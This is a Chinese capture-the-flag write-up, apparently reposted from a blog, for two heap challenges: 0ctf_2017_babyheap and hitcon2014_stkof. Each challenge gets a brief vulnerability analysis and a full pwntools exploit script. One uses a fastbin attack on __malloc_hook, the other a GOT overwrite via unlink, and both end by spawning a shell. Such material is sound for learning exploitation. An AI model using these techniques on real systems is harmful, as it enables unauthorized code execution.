buuctf (0ctf_2017_babyheap) (hitcon2014_stkof)

0ctf_2017_babyheap

在这里插入图片描述
保护全开
程序逻辑
堆菜单题
在这里插入图片描述
1.add
在这里插入图片描述
正常申请堆块,输入大小,然后按大小申请一个,返回堆块的序号。
这里简单说一下calloc函数
calloc函数:calloc(size_t numElements,size_t sizeOfElement)有两个参数,分别为元素的数目和每个元素的大小,这两个参数的乘积就是要分配的内存空间的大小。
2.edit
在这里插入图片描述
在这里插入图片描述
可以发现程序并未检测输入的大小长度,因此此处存在堆溢出
3.free
在这里插入图片描述
并不存在uaf漏洞
4.dump
在这里插入图片描述
打印堆块内容
常规堆溢出,先申请三个堆块,第一个堆块用来修改第二个堆块,使其包裹第三个堆块造成重叠,然后将其free掉,再申请第二块的原来的大小,就会将第二块再次申请回来,然后这时第三块还在unstorted bin里,然后dump第三个堆块就能泄露出libc了,然后fastbin attack修改malloc_hook为one_gadget,然后再申请就能获得shell
脚本如下:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=remote("node4.buuoj.cn",26206)
#p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("./libc64-2.23.so")

def bug():
	gdb.attach(p)
	pause()

def add(i):
	p.recvuntil("Command: ")
	p.sendline(str(1))
	p.sendlineafter("Size: ",str(i))

def edit(idx,size,c):
	p.recvuntil("Command: ")
	p.sendline(str(2))
	p.sendlineafter("Index: ",str(idx))
	p.sendlineafter("Size: ",str(size))
	p.sendafter("Content: ",c)

def free(i):
	p.recvuntil("Command: ")
	p.sendline(str(3))
	p.sendlineafter("Index: ",str(i))

def dump(i):
	p.recvuntil("Command: ")
	p.sendline(str(4))
	p.sendlineafter("Index: ",str(i))
	

add(0x18)
add(0x58)
add(0x68)
add(0x18)

edit(0,0x20,p64(0)*3+p64(0xd1))
free(1)
add(0x58)
dump(2)
malloc_hook=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-88-0x10
libc_base=malloc_hook-libc.sym['__malloc_hook']
print(hex(malloc_hook))
print(hex(libc_base))
one_gad=libc_base+0x4526a
free(2)
edit(1,0x58+0x10,p64(0)*11+p64(0x71)+p64(malloc_hook-0x23))
add(0x68)
add(0x68)

edit(4,0x13+0x8,b'a'*0x13+p64(one_gad))
#bug()
add(0x18)
p.interactive()


hitcon2014_stkof

查看程序逻辑以及保护
在这里插入图片描述
在这里插入图片描述
堆的菜单题目,审计一下代码
1.add
在这里插入图片描述
输入一个申请的大小。然后会把堆块指针,存放在bss段,由于没有开pie,所以这里可以留意一下能否unlink

2.在这里插入图片描述
分析一下代码逻辑,首先输入一个s然后作为了bss段上一个全局变量的下标,应该是第几个堆块的意思,然后再次输入一个n,会有fread进行再次读入,并且读到了相应的堆块里,并且没有对输入的大小进行检测,所以此处存在堆溢出,那思路就是unlink打got表。
再看
3.
在这里插入图片描述

可以看到堆块被释放后,指针也被置零了,所以不存在uaf
4.puts
在这里插入图片描述

这个输出并不会打印堆块的内容,是个假的输出。
利用思路:
伪造fake_chunk然后向前和并,出发unlink,修改第一个堆块指针,为free的got表,第二块的指针改为puts的got表,然后再把free的got表改为puts的plt表,然后free堆块2,泄露出libc_base,然后计算出system函数的地址,再把free的got表改为system函数,然后释放字符串为/bin/sh的堆块,getshell。
脚本如下:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("node4.buuoj.cn",25748)
p=process("./pwn3")
elf=ELF("./pwn3")
libc=ELF("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

def bug():
	gdb.attach(p)
	pause()

def add(i):
	
	p.sendline(str(1))
	p.sendline(str(i))
	p.recvuntil("OK\n")

def edit(idx,size,c):
	p.sendline(str(2))
	p.sendline(str(idx))
	p.sendline(str(size))
	p.send(c)
	p.recvuntil("OK\n")

def free(i):
	p.sendline(str(3))
	p.sendline(str(i))

def dump(i):
	p.recvuntil("Your choice :")
	p.sendline(str(3))
	p.sendlineafter("Index :",str(i))
bss=0x602140+0x10
add(0x18)
add(0x98)
add(0x98)
add(0x18)
edit(4,8,b'/bin/sh\x00')
fake_chunk=(p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)).ljust(0x90,b'\x00')+p64(0x90)+p64(0xa0)
edit(2,0xa0,fake_chunk)
free(3)

edit(2,0x20,p64(0)*2+p64(elf.got['free'])+p64(elf.got['puts']))
edit(1,0x8,p64(elf.plt['puts']))
free(2)
free_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_base=free_addr-libc.sym['puts']
system=libc_base+libc.sym['system']
edit(1,0x8,p64(system))
#bug()
free(4)
p.interactive()

猜你喜欢

转载自blog.csdn.net/cainiao78777/article/details/130756452